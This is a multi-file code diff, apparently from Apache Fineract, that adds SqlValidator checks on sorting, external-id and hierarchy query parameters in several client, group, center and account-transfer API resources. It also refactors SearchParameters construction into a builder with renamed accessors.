final Set<String> associationParameters = ApiParameterHelper.extractAssociationsForResponseIfProvided(uriInfo.getQueryParameters()); final Set<String> associationParameters = ApiParameterHelper.extractAssociationsForResponseIfProvided(uriInfo.getQueryParameters());
Page<AccountTransferData> transfers = null; Page<AccountTransferData> transfers = null;
if (!associationParameters.isEmpty()) { if (!associationParameters.isEmpty()) {
@@ -44,6 +44,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO; import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
import org.apache.fineract.portfolio.account.data.StandingInstructionHistoryData; import org.apache.fineract.portfolio.account.data.StandingInstructionHistoryData;
import org.apache.fineract.portfolio.account.service.StandingInstructionHistoryReadPlatformService; import org.apache.fineract.portfolio.account.service.StandingInstructionHistoryReadPlatformService;
@@ -59,6 +60,7 @@ public class StandingInstructionHistoryApiResource {
private final DefaultToApiJsonSerializer<StandingInstructionHistoryData> toApiJsonSerializer; private final DefaultToApiJsonSerializer<StandingInstructionHistoryData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final StandingInstructionHistoryReadPlatformService standingInstructionHistoryReadPlatformService; private final StandingInstructionHistoryReadPlatformService standingInstructionHistoryReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -88,7 +90,11 @@ public class StandingInstructionHistoryApiResource {
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat); final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
LocalDate startDateRange = null; LocalDate startDateRange = null;
LocalDate endDateRange = null; LocalDate endDateRange = null;
if (fromDateParam != null) { if (fromDateParam != null) {
@@ -218,18 +218,18 @@ public class AccountTransfersReadPlatformServiceImpl implements AccountTransfers
finalObjectArray = new Object[] { accountDetailId }; finalObjectArray = new Object[] { accountDetailId };
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParameters.getLimit()); sqlBuilder.append(" limit ").append(searchParameters.getLimit());
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParameters.getOffset()); sqlBuilder.append(" offset ").append(searchParameters.getOffset());
} }
} }
@@ -287,18 +287,18 @@ public class AccountTransfersReadPlatformServiceImpl implements AccountTransfers
sqlBuilder.append(" where atsi.id = ?"); sqlBuilder.append(" where atsi.id = ?");
if (searchParameters != null) { if (searchParameters != null) {
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -136,18 +136,18 @@ public class StandingInstructionHistoryReadPlatformServiceImpl implements Standi
} }
final SearchParameters searchParameters = standingInstructionDTO.searchParameters(); final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -305,18 +305,18 @@ public class StandingInstructionReadPlatformServiceImpl implements StandingInstr
} }
final SearchParameters searchParameters = standingInstructionDTO.searchParameters(); final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -102,7 +102,7 @@ public class ClientChargesApiResource {
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_ACTIVE, ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_ACTIVE,
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_INACTIVE }); ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_INACTIVE });
} }
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit); final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<ClientChargeData> clientCharges = this.clientChargeReadPlatformService.retrieveClientCharges(clientId, chargeStatus, final Page<ClientChargeData> clientCharges = this.clientChargeReadPlatformService.retrieveClientCharges(clientId, chargeStatus,
pendingPayment, searchParameters); pendingPayment, searchParameters);
@@ -311,7 +311,7 @@ public class ClientTransactionsApiResource {
private String getAllClientTransactions(Long clientId, UriInfo uriInfo, Integer offset, Integer limit) { private String getAllClientTransactions(Long clientId, UriInfo uriInfo, Integer offset, Integer limit) {
SearchParameters searchParameters = SearchParameters.forPagination(offset, limit); SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<ClientTransactionData> clientTransactions = clientTransactionReadPlatformService.retrieveAllTransactions(clientId, final Page<ClientTransactionData> clientTransactions = clientTransactionReadPlatformService.retrieveAllTransactions(clientId,
searchParameters); searchParameters);
@@ -62,6 +62,7 @@ import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData; import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService; import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.client.data.ClientData; import org.apache.fineract.portfolio.client.data.ClientData;
@@ -93,6 +94,7 @@ public class ClientsApiResource {
private final BulkImportWorkbookService bulkImportWorkbookService; private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final GuarantorReadPlatformService guarantorReadPlatformService; private final GuarantorReadPlatformService guarantorReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -443,8 +445,13 @@ public class ClientsApiResource {
final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset, final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) { final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
context.authenticatedUser().validateHasReadPermission(ClientApiConstants.CLIENT_RESOURCE_NAME); context.authenticatedUser().validateHasReadPermission(ClientApiConstants.CLIENT_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forClients(officeId, externalId, displayName, firstname, lastname, sqlValidator.validate(orderBy);
status, hierarchy, offset, limit, orderBy, sortOrder, orphansOnly, isSelfUser); sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
sqlValidator.validate(hierarchy);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
.name(displayName).hierarchy(hierarchy).firstname(firstname).lastname(lastname).status(status).orphansOnly(orphansOnly)
.isSelfUser(isSelfUser).offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final Page<ClientData> clientData = clientReadPlatformService.retrieveAll(searchParameters); final Page<ClientData> clientData = clientReadPlatformService.retrieveAll(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, clientData, ClientApiConstants.CLIENT_RESPONSE_DATA_PARAMETERS); return toApiJsonSerializer.serialize(settings, clientData, ClientApiConstants.CLIENT_RESPONSE_DATA_PARAMETERS);
@@ -151,9 +151,9 @@ public class ClientChargeReadPlatformServiceImpl implements ClientChargeReadPlat
// apply limit and offsets // apply limit and offsets
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -192,7 +192,7 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
sqlBuilder.append(" where (o.hierarchy like ? or transferToOffice.hierarchy like ?) "); sqlBuilder.append(" where (o.hierarchy like ? or transferToOffice.hierarchy like ?) ");
if (searchParameters != null) { if (searchParameters != null) {
if (searchParameters.isSelfUser()) { if (searchParameters.getIsSelfUser()) {
sqlBuilder.append( sqlBuilder.append(
" and c.id in (select umap.client_id from m_selfservice_user_client_mapping as umap where umap.appuser_id = ? ) "); " and c.id in (select umap.client_id from m_selfservice_user_client_mapping as umap where umap.appuser_id = ? ) ");
paramList.add(appUserID); paramList.add(appUserID);
@@ -204,18 +204,18 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
sqlBuilder.append(" and (").append(extraCriteria).append(")"); sqlBuilder.append(" and (").append(extraCriteria).append(")");
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -267,12 +267,12 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
extraCriteria += " and c.lastname like ? "; extraCriteria += " and c.lastname like ? ";
} }
if (searchParameters.isScopedByOfficeHierarchy()) { if (searchParameters.hasHierarchy()) {
paramList.add(searchParameters.getHierarchy() + "%"); paramList.add(searchParameters.getHierarchy() + "%");
extraCriteria += " and o.hierarchy like ? "; extraCriteria += " and o.hierarchy like ? ";
} }
if (searchParameters.isOrphansOnly()) { if (searchParameters.getOrphansOnly()) {
extraCriteria += " and c.id NOT IN (select client_id from m_group_client) "; extraCriteria += " and c.id NOT IN (select client_id from m_group_client) ";
} }
@@ -143,9 +143,9 @@ public class ClientTransactionReadPlatformServiceImpl implements ClientTransacti
// apply limit and offsets // apply limit and offsets
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -75,6 +75,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum; import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService; import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData; import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService; import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.calendar.data.CalendarData; import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -113,6 +114,7 @@ public class CentersApiResource {
private final EntityDatatableChecksReadService entityDatatableChecksReadService; private final EntityDatatableChecksReadService entityDatatableChecksReadService;
private final BulkImportWorkbookService bulkImportWorkbookService; private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -177,10 +179,14 @@ public class CentersApiResource {
return this.toApiJsonSerializer.serialize(settings, staffCenterDataArray, return this.toApiJsonSerializer.serialize(settings, staffCenterDataArray,
GroupingTypesApiConstants.STAFF_CENTER_RESPONSE_DATA_PARAMETERS); GroupingTypesApiConstants.STAFF_CENTER_RESPONSE_DATA_PARAMETERS);
} }
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
final Boolean isOrphansOnly = false; sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit, sqlValidator.validate(externalId);
orderBy, sortOrder, isOrphansOnly); sqlValidator.validate(hierarchy);
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
.name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder).staffId(staffId).build();
if (parameters.isPaged()) { if (parameters.isPaged()) {
final Page<CenterData> centers = this.centerReadPlatformService.retrievePagedAll(searchParameters, parameters); final Page<CenterData> centers = this.centerReadPlatformService.retrievePagedAll(searchParameters, parameters);
return this.toApiJsonSerializer.serialize(settings, centers, GroupingTypesApiConstants.CENTER_RESPONSE_DATA_PARAMETERS); return this.toApiJsonSerializer.serialize(settings, centers, GroupingTypesApiConstants.CENTER_RESPONSE_DATA_PARAMETERS);
@@ -74,6 +74,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum; import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService; import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData; import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService; import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.calendar.data.CalendarData; import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -130,6 +131,7 @@ public class GroupsApiResource {
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final GLIMAccountInfoReadPlatformService glimAccountInfoReadPlatformService; private final GLIMAccountInfoReadPlatformService glimAccountInfoReadPlatformService;
private final GSIMReadPlatformService gsimReadPlatformService; private final GSIMReadPlatformService gsimReadPlatformService;
private final SqlValidator sqlValidator;
@GET @GET
@Path("template") @Path("template")
@@ -197,11 +199,17 @@ public class GroupsApiResource {
@QueryParam("orphansOnly") @Parameter(description = "orphansOnly") final Boolean orphansOnly) { @QueryParam("orphansOnly") @Parameter(description = "orphansOnly") final Boolean orphansOnly) {
context.authenticatedUser().validateHasReadPermission(GroupingTypesApiConstants.GROUP_RESOURCE_NAME); context.authenticatedUser().validateHasReadPermission(GroupingTypesApiConstants.GROUP_RESOURCE_NAME);
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
sqlValidator.validate(hierarchy);
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit, final SearchParameters searchParameters = SearchParameters.builder().limit(limit).isSelfUser(false).officeId(officeId)
orderBy, sortOrder, orphansOnly); .externalId(externalId).name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder)
.staffId(staffId).orphansOnly(orphansOnly).build();
if (parameters.isPaged()) { if (parameters.isPaged()) {
final Page<GroupGeneralData> groups = groupReadPlatformService.retrievePagedAll(searchParameters, parameters); final Page<GroupGeneralData> groups = groupReadPlatformService.retrievePagedAll(searchParameters, parameters);
return toApiJsonSerializer.serialize(settings, groups, GroupingTypesApiConstants.GROUP_RESPONSE_DATA_PARAMETERS); return toApiJsonSerializer.serialize(settings, groups, GroupingTypesApiConstants.GROUP_RESPONSE_DATA_PARAMETERS);
@@ -317,16 +317,16 @@ public class CenterReadPlatformServiceImpl implements CenterReadPlatformService
final SQLBuilder extraCriteria = getCenterExtraCriteria(this.centerMapper.schema(), searchParameters); final SQLBuilder extraCriteria = getCenterExtraCriteria(this.centerMapper.schema(), searchParameters);
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString); extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate()); sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(), this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder()); searchParameters.getSortOrder());
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -352,15 +352,15 @@ public class CenterReadPlatformServiceImpl implements CenterReadPlatformService
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString); extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate()); sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
if (searchParameters != null) { if (searchParameters != null) {
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(), this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder()); searchParameters.getSortOrder());
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -137,15 +137,15 @@ public class GroupReadPlatformServiceImpl implements GroupReadPlatformService {
final SQLBuilder extraCriteria = getGroupExtraCriteria(searchParameters); final SQLBuilder extraCriteria = getGroupExtraCriteria(searchParameters);
extraCriteria.addCriteria(" o.hierarchy like ", hierarchySearchString); extraCriteria.addCriteria(" o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate()); sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
if (parameters.isOrderByRequested()) { if (parameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(), this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
searchParameters.getSortOrder()); searchParameters.getSortOrder());
} }
if (parameters.isLimited()) { if (parameters.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParameters.getLimit()); sqlBuilder.append(" limit ").append(searchParameters.getLimit());
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParameters.getOffset()); sqlBuilder.append(" offset ").append(searchParameters.getOffset());
} }
} }
@@ -168,17 +168,17 @@ public class GroupReadPlatformServiceImpl implements GroupReadPlatformService {
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate()); sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
if (searchParameters != null && searchParameters.isOrphansOnly()) { if (searchParameters != null && searchParameters.getOrphansOnly()) {
sqlBuilder.append(" and g.parent_id is NULL"); sqlBuilder.append(" and g.parent_id is NULL");
} }
if (parameters != null) { if (parameters != null) {
if (parameters.isOrderByRequested()) { if (parameters.hasOrderBy()) {
sqlBuilder.append(parameters.orderBySql()); sqlBuilder.append(parameters.orderBySql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
} }
if (parameters.isLimited()) { if (parameters.hasLimit()) {
sqlBuilder.append(parameters.limitSql()); sqlBuilder.append(parameters.limitSql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
} }
@@ -87,6 +87,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum; import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService; import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.monetary.data.CurrencyData; import org.apache.fineract.organisation.monetary.data.CurrencyData;
import org.apache.fineract.organisation.staff.data.StaffData; import org.apache.fineract.organisation.staff.data.StaffData;
import org.apache.fineract.portfolio.account.PortfolioAccountType; import org.apache.fineract.portfolio.account.PortfolioAccountType;
@@ -279,6 +280,7 @@ public class LoansApiResource {
private final LoanCollateralManagementReadPlatformService loanCollateralManagementReadPlatformService; private final LoanCollateralManagementReadPlatformService loanCollateralManagementReadPlatformService;
